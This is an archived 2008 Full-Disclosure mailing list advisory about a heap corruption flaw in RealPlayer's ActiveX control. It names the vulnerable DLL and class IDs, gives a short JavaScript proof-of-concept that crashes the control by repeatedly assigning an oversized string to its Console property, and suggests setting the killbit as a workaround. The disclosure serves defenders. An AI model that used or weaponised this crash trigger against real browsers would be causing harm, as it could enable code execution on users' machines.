full-disclosure - Real Networks RealPlayer ActiveX Control Heap Corruption

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [day] [month] [year] [list]

Message-Id: <20080310055058.1D24D11803C@mailserver5.hushmail.com>
Date: Mon, 10 Mar 2008 05:50:57 +0000
From: "Elazar Broad" <elazar@...hmail.com>
To: <full-disclosure@...ts.grok.org.uk>
Cc: 
Subject: Real Networks RealPlayer ActiveX Control Heap
	Corruption

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

Who:
Real Networks
http://www.real.com

What:
Real Networks Real Player is a popular media player.

How:
Real Player utilizes an ActiveX control to play content within the
users browser.

rmoc3260.dll version 6.0.10.45
{2F542A2E-EDC9-4BF7-8CB1-87C9919F7F93}
{CFCDAA03-8BE4-11CF-B84B-0020AFBBCCFA}

It is possible to modify heap blocks after they are freed and
overwrite certain registers, possibly allowing code execution. Like
so:

- ------------
var buf = '';
while (buf.length < 1005) buf = buf + 'A';

m = obj.Console;
obj.Console = buf;
obj.Console = m

//repeat
m = obj.Console;
obj.Console = buf;
obj.Console = m --> Should crash here
- -------------

Workaround:
Set the killbit for this control. See
http://support.microsoft.com/kb/240797

Fix:
No official fix known

Exploit:
Working on it

Elazar
-----BEGIN PGP SIGNATURE-----
Charset: UTF8
Note: This signature can be verified at https://www.hushtools.com/verify
Version: Hush 3.0

wpwEAQECAAYFAkfUzEEACgkQi04xwClgpZhsDQP+OPMkrAZcp/kR1MCleBervmVYPRc1
2cMRLBbhFcUC7Uc/ajXmKe6naZEr1RqKzHBrugWZeANkP5gdk/Kd/fOXacCZcVApXSJj
OcopiKRr7tnTi13Rt4XW4oBRjpiWHyHxFZA06Jzc2JJHeF7sTrew+s43PTU1eaj9/w4o
Nf0Ydt8=
=IpTC
-----END PGP SIGNATURE-----

--
Energy Saving Heating and Cooling Systems. Click for free information.
http://tagline.hushmail.com/fc/Ioyw6h4dbo0qfLJjDSbocxFRYwpBkZwjS6vzQEbs8WmdoAPvpevJZe/

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/